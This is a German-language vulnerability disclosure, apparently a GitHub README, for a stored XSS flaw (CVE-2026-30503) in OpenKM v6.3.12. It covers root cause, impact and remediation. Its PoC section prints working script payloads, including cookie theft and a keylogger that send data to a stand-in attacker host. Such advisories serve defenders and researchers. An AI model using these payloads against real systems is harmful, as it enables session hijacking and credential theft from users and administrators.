dharmstm/cve-2026-30503-openkm-6.3.12-stored-xssDetaillierte Offenlegung von CVE-2026-30503, einer gespeicherten XSS-Sicherheitslücke in OpenKM v6.3.12. Enthält Root-Cause-Analyse, PoC-Payloads, Auswirkungsbewertung und Abhilfeempfehlungen für Sicherheitsforscher und Pentester.
Entdeckt und gemeldet von Dharmendra Kumar — Sicherheitsforscher
Cybersicherheit | Penetrationstests | Schwachstellenforschung | Verantwortungsvolle Offenlegung
Dieses Repository dokumentiert die verantwortungsvolle Offenlegung von CVE-2026-30503, einer Stored Cross-Site Scripting (XSS)-Schwachstelle, die in OpenKM v6.3.12 identifiziert wurde – einem Open-Source-Dokumentenmanagementsystem, das in Unternehmensumgebungen weit verbreitet ist.
Die Schwachstelle ermöglicht es einem authentifizierten Angreifer, persistent bösartiges JavaScript in die Anwendung zu injizieren, das im Browserkontext jedes Benutzers (einschließlich Administratoren) ausgeführt wird, der anschließend den betroffenen Inhalt aufruft.
⚠️ Schweregrad: Hoch | Angriffsvektor: Netzwerk | Erforderliche Berechtigungen: Niedrig | Benutzerinteraktion: Erforderlich
| Feld | Einzelheiten |
|---|---|
| CVE-ID | CVE-2026-30503 |
| Produkt | OpenKM |
| Betroffene Version | v6.3.12 |
| Schwachstellenklasse | Stored Cross-Site Scripting (XSS) |
| CWE | CWE-79: Unsachgemäße Neutralisierung von Eingaben während der Webseitengenerierung |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| Forscher | Dharmendra Kumar |
| Art der Offenlegung | Verantwortungsvoll / Koordiniert |
OpenKM ist ein kostenloses Open-Source-Dokumentenmanagementsystem (DMS), das eine Weboberfläche zum Verwalten, Prüfen und Verteilen von Geschäftsdokumenten bietet. Es wird weltweit von Unternehmen, Regierungsbehörden und Bildungseinrichtungen genutzt.
v6.3.12Mehrere Stored Cross-Site Scripting (XSS)-Schwachstellen wurden in OpenKM v6.3.12 entdeckt. Ein Angreifer mit niedrig privilegiertem authentifiziertem Zugriff kann beliebige JavaScript-Payloads in ein oder mehrere Eingabefelder injizieren. Diese Payloads werden dauerhaft im Backend der Anwendung gespeichert und automatisch ausgeführt, sobald ein Benutzer – einschließlich Administratoren – die betroffene Seite oder Komponente aufruft.
Im Gegensatz zu Reflected XSS, bei dem das Opfer auf einen manipulierten Link klicken muss, sind Stored XSS-Payloads in der Anwendung selbst eingebettet, was sie erheblich gefährlicher und beständiger macht.
Die Schwachstelle ergibt sich aus drei sich verstärkenden Schwächen in der Eingabeverarbeitungskette der Anwendung:
Benutzereingabe ──► [KEINE Validierung] ──► In DB gespeichert ──► [KEINE Ausgabekodierung] ──► Im Browser gerendert ──► XSS ausgeführt
| Schwachstelle | Beschreibung |
|---|---|
| ❌ Fehlende Eingabevalidierung | Die Anwendung schränkt Sonderzeichen (<, >, ", ', ;) in benutzerbereitgestellten Feldern nicht ein oder bereinigt sie nicht |
| ❌ Fehlende Ausgabekodierung | Gespeicherte Werte werden direkt in HTML gerendert, ohne HTML-Entity-Kodierung |
| ❌ Unsicheres DOM-Rendering | Benutzerbereitgestellte Daten werden ohne CSP- oder Bereinigungsmechanismen in den DOM-Kontext eingebettet |
Eine erfolgreiche Ausnutzung dieser Schwachstelle kann zu Folgendem führen:
| Risiko | Beschreibung |
|---|---|
| 🍪 Session-Hijacking | Diebstahl authentifizierter Sitzungstoken durch Exfiltration von document.cookie |
| 👤 Kontoübernahme | Kompromittierung von Opferkonten, einschließlich Administratorkonten |
| 🔐 Credential-Harvesting | Einschleusen von Phishing-Formularen zum Abfangen von Anmeldedaten |
| 📤 Datenernte | Stilles Extrahieren sensibler Dokumente oder Metadaten aus dem DMS |
| ⚙️ Unbefugte Aktionen | Durchführung privilegierter Operationen im Namen des Opfers (Löschen/Ändern von Dokumenten) |
| 🎯 Admin-Zielausrichtung | Payload wird im Admin-Panel ausgeführt, wenn ein Administrator den Inhalt prüft |
| 🔄 Wurmverbreitung | Selbstreplizierender XSS-Payload kann sich über Benutzer hinweg verbreiten |
⚠️ Haftungsausschluss: Dieses PoC wird ausschließlich zu Bildungs- und Sicherheitsforschungszwecken im Rahmen der Grundsätze verantwortungsvoller Offenlegung geteilt. Verwenden Sie dies nicht gegen Systeme, die Sie nicht besitzen oder für deren Test Sie keine ausdrückliche schriftliche Genehmigung haben.
// Grundlegendes PoC — demonstriert Skriptausführung
<script>alert('CVE-2026-30503 - XSS von Dharmendra Kumar')</script>
// Sitzungstoken-Exfiltration
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Keylogger-Injektion
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>| Empfehlung | Umsetzung |
|---|---|
| ✅ Eingabevalidierung | Whitelist erlaubter Zeichen; HTML-Sonderzeichen bei allen Benutzereingaben ablehnen oder entfernen |
| ✅ Ausgabekodierung | Kontextabhängige HTML-Kodierung (z. B. OWASP Java Encoder) vor der Darstellung von Daten in HTML verwenden |
| ✅ Content Security Policy (CSP) | Strenge CSP-Header implementieren: Content-Security-Policy: script-src 'self' |
| ✅ HTTPOnly und Secure Cookies | HttpOnly- und Secure-Flags auf allen Sitzungs-Cookies setzen, um JS-Zugriff zu verhindern |
| ✅ Sicherheitsbibliotheken nutzen | OWASP AntiSamy oder DOMPurify zur HTML-Bereinigung integrieren |
| ✅ Sicherheitscode-Review | Alle Rendering-Pfade auf unbereinigte benutzergesteuerte Daten prüfen |
| ✅ Upgrade | Den neuesten vom Anbieter bereitgestellten Patch anwenden oder auf eine gepatchte Version upgraden |